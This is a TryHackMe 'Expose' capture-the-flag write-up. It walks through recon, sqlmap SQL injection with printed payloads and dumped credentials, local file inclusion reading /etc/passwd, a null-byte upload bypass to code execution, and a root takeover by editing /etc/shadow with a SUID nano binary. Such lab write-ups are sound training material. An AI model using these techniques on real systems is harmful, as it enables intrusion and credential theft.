Today I tackled the Expose challenge on TryHackMe. As part of improving my pentesting workflow, I’m trying to write these posts in a more formal, report-style format — blending hands-on testing with structured documentation.
Reconnaissance
I started with a simple nmap scan:
┌──(kali㉿kali)-[~/Downloads/ctf/expose]
└─$ nmap -sV -T4 -A -p- -Pn 10.10.245.228
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-01 01:04 EDT
Nmap scan report for 10.10.245.228
Host is up (0.029s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
1883/tcp open mosquitto version 1.6.9
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 27.67 ms 10.21.0.1
2 28.99 ms 10.10.245.228
The target runs several interesting services. I decided to explore them one by one.
🔐 FTP (Port 21)
Anonymous login was enabled, but no files were listed. Interestingly, the PUT
command was allowed — possibly useful later for file uploads.
┌──(kali㉿kali)-[~/Downloads/ctf/expose]
└─$ ftp expose.thm
Connected to expose.thm.
220 Welcome to the Expose Web Challenge.
Name (expose.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||6368|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls
229 Entering Extended Passive Mode (|||30755|)
150 Here comes the directory listing.
226 Directory send OK.
📡 MQTT (Port 1883)
This was new territory for me — I’ve got MQTT devices at home, but never tested them offensively. From HackTricks:
Authentication is totally optional and even if authentication is being performed, encryption is not used by default (credentials are sent in clear text). MITM attacks can still be executed to steal passwords.
I used python-mqtt-client-shell
to connect:
> host 10.10.245.228
> connect
> subscribe "#" 1
> subscribe "$SYS/#"
Shortly after, messages started appearing, including:
Topic: $SYS/broker/version
Payload: mosquitto version 1.6.9
Nothing sensitive was leaked, but it confirmed the service was unauthenticated and readable.

🧠 Note to self: Learn more about exploiting MQTT topics for lateral movement or code execution.
🌐 HTTP (Port 1337)
The homepage only displayed the word EXPOSED
. The HTML source gave no real hints, so I launched a directory brute-force with dirb
:
Interesting paths:
/admin
→ fake login page/javascript
→ 403 Forbidden/phpmyadmin
→ accessible but unauthenticated/admin_101
→ contains a working login form
SQL Injection on /admin_101
The login form at /admin_101
looked suspicious. The username field was pre-filled — possible hint. I inspected the HTML source and captured the request with Burp Suite.


After saving the POST request, I tested it with sqlmap
:
┌──(kali㉿kali)-[~/Downloads/ctf/expose]
└─$ sqlmap -r post_login.txt -p email
[01:51:02] [INFO] testing 'MySQL UNION query (54) - 81 to 100 columns'
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 700 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: email=dfdfg' AND EXTRACTVALUE(9828,CASE WHEN (9828=9828) THEN 9828 ELSE 0x3A END)-- qyuE&password=dfgdfg
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: email=dfdfg' AND GTID_SUBSET(CONCAT(0x7178717071,(SELECT (ELT(8703=8703,1))),0x7176766a71),8703)-- KQad&password=dfgdfg
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=dfdfg' AND (SELECT 6283 FROM (SELECT(SLEEP(5)))kYqY)-- VrAj&password=dfgdfg
---
[01:51:07] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.6
Dumping the database:
Database: expose
Table: config
[2 entries]
+----+------------------------------+-----------------------------------------------------+
| id | url | password |
+----+------------------------------+-----------------------------------------------------+
| 1 | /file1010111/index.php | 69c66901194a6486176e81f5945b8929 |
| 3 | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+
[01:55:51] [INFO] table 'expose.config' dumped to CSV file '/home/kali/.local/share/sqlmap/output/expose.thm/dump/expose/config.csv'
[01:55:51] [INFO] fetching columns for table 'user' in database 'expose'
[01:55:51] [INFO] retrieved: 'id'
[01:55:51] [INFO] retrieved: 'int'
[01:55:51] [INFO] retrieved: 'email'
[01:55:51] [INFO] retrieved: 'varchar(512)'
[01:55:51] [INFO] retrieved: 'password'
[01:55:52] [INFO] retrieved: 'varchar(512)'
[01:55:52] [INFO] retrieved: 'created'
[01:55:52] [INFO] retrieved: 'timestamp'
[01:55:52] [INFO] fetching entries for table 'user' in database 'expose'
[01:55:52] [INFO] retrieved: '2023-02-21 09:05:46'
[01:55:52] [INFO] retrieved: 'hacker@root.thm'
[01:55:52] [INFO] retrieved: '1'
[01:55:52] [INFO] retrieved: 'VeryDifficultPassword!!#@#@!#!@#1231'
Database: expose
Table: user
[1 entry]
+----+-----------------+---------------------+--------------------------------------+
| id | email | created | password |
+----+-----------------+---------------------+--------------------------------------+
| 1 | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |
+----+-----------------+---------------------+--------------------------------------+
🔓 Getting Access
With credentials and two hidden pages from the earlier SQL injection, it’s time to move toward initial access. Here’s what we know:
Credentials found:
hacker@root.thm : VeryDifficultPassword!!#@#@!#!@#1231
Discovered hidden paths:
/file1010111/index.php
/upload-cv00101011/index.php
We also extracted a password hash which couldn’t be cracked using default rockyou.txt
in Hashcat. However, CrackStation succeeded, revealing:
easytohack
Page analysis: /file1010111/index.php
After logging into this page, it returned a blank screen. A quick look at the source code gave a subtle hint that file handling might be going on in the background:

Changing the request method to GET
in Burp Suite didn’t yield results. But appending a query parameter manually revealed more:
/file1010111/index.php?file=
Testing for Local File Inclusion (LFI) worked. Using path traversal, I managed to access /etc/passwd
and filtered out users without shells. That revealed:
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
zeamkish:x:1001:1001:Zeam Kish,1,1,:/home/zeamkish:/bin/bash
We now know the valid user: zeamkish
Page analysis: /upload-cv00101011/index.php
This page prompts for a username. Using zeamkish
, we were granted access and presented with a file upload form.

The form only accepts .png
files. After uploading a test image, a message instructed me to check this path: /upload-cv00101011/upload_thm_1001/
Visiting http://expose.thm:1337/upload-cv00101011/upload_thm_1001/ showed the uploaded file successfully—indicating we had write access.
Checking the source code of the upload page, I found client-side validation:
<script>
function validate(){
var fileInput = document.getElementById('file');
var file = fileInput.files[0];
if (file) {
var fileName = file.name;
var fileExtension = fileName.split('.').pop().toLowerCase();
if (fileExtension === 'jpg' || fileExtension === 'png') {
// Valid file extension, proceed with file upload
// You can submit the form or perform further processing here
console.log('File uploaded successfully');
return true;
} else {
// Invalid file extension, display an error message or take appropriate action
console.log('Only JPG and PNG files are allowed');
return false;
}
}
}
</script>
A simple rename like shell.php.png
was blocked.
In Burp, I intercepted the upload request and modified the filename to include a null byte (%00
) before the extension. That bypassed the check:

The server saved it as a .php
file and executed it — confirming Remote Code Execution (RCE).
Privilege Escalation
After stabilzing my shell I started looking arround and found:
www-data@ip-10-10-242-59:/$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jun 30 2023 .
drwxr-xr-x 20 root root 4096 Jul 1 07:03 ..
drwxr-xr-x 8 ubuntu ubuntu 4096 Jul 6 2023 ubuntu
drwxr-xr-x 3 zeamkish zeamkish 4096 Jul 6 2023 zeamkish
www-data@ip-10-10-242-59:/$ ls -la /home/zeamkish/
total 36
drwxr-xr-x 3 zeamkish zeamkish 4096 Jul 6 2023 .
drwxr-xr-x 4 root root 4096 Jun 30 2023 ..
-rw-rw-r-- 1 zeamkish zeamkish 5 Jul 6 2023 .bash_history
-rw-r--r-- 1 zeamkish zeamkish 220 Jun 8 2023 .bash_logout
-rw-r--r-- 1 zeamkish zeamkish 3771 Jun 8 2023 .bashrc
drwx------ 2 zeamkish zeamkish 4096 Jun 8 2023 .cache
-rw-r--r-- 1 zeamkish zeamkish 807 Jun 8 2023 .profile
-rw-r----- 1 zeamkish zeamkish 27 Jun 8 2023 flag.txt
-rw-rw-r-- 1 root zeamkish 34 Jun 11 2023 ssh_creds.txt
www-data@ip-10-10-242-59:/$ cat /home/zeamkish/ssh_creds.txt
SSH CREDS
zeamkish
easytohack@123
Using zeamkish:easytohack@123
, I opened a full SSH session. In the home folder, the user flag was also waiting in flag.txt
.
Linpeas
To speed things up, I always run LinPEAS for local privilege escalation enumeration. Some of the more interesting findings:
- Ports on localhost:
- 1111
- 953
- 1883
- 33060
- 3306
- Uncommon SUID Binaries
- rwsr-x— 1 root zeamkish 313K Feb 18 2020 /usr/bin/find
- rwsr-xr-x 1 root root 313K Apr 10 2020 /usr/bin/nano
Analysis
At first, I thought the nano
SUID might be limited in use, but it actually gave me enough permissions to access sensitive files as root.

but only because nano
ran as root, not because I became root. So technically, I wasn’t root yet.
Getting Root
Since nano
is SUID root and can edit anything, I realized I could modify /etc/passwd
and /etc/shadow
. Time to add a real root-level user.
First, I generated a password hash using OpenSSL:
zeamkish@ip-10-10-242-59:/home/ubuntu$ openssl passwd -1 -salt CTF_Saltje "mijnr00twachtwoord!"
$1$CTF_Salt$CJUxj1WEXkjUz/J5sbHvt0
I appended the following line using nano:
newroot:x:0:0:New Root:/root:/bin/bash
And then updated /etc/shadow
with:
newroot:$1$CTF_Salt$CJUxj1WEXkjUz/J5sbHvt0:0:0:99999:7:::
Yes, nano
was able to write both files due to the SUID bit. For some reason, the new user didn’t work. Either login was blocked, or something went wrong with the shadow file. Still using nano
as root, I opened /etc/shadow
again and replaced the hash for the existing root
user with my custom hash. That worked
📘 Lessons Learned
This box had some cool gotchas that made it more interesting than expected. Here’s what I took away:
What Went Well
- Enumeration discipline paid off: LinPEAS gave me everything I needed. The SUID
nano
was subtle but powerful. - Recognizing false positives: Just because you can read
/root/root.txt
doesn’t mean you’re root. That moment of “wait… am I really root?” helped me pause and rethink. - Plan B thinking: When adding a user failed, falling back to modifying the
root
hash directly saved the day. - Null byte upload bypass
What I’d Do Differently
- Verify user creation more closely: I should’ve double-checked PAM or SSH login behavior before assuming the new user was usable.
- Dig into shadow file structure: A deeper understanding of how fields in
/etc/shadow
work would’ve helped debug the login issue faster.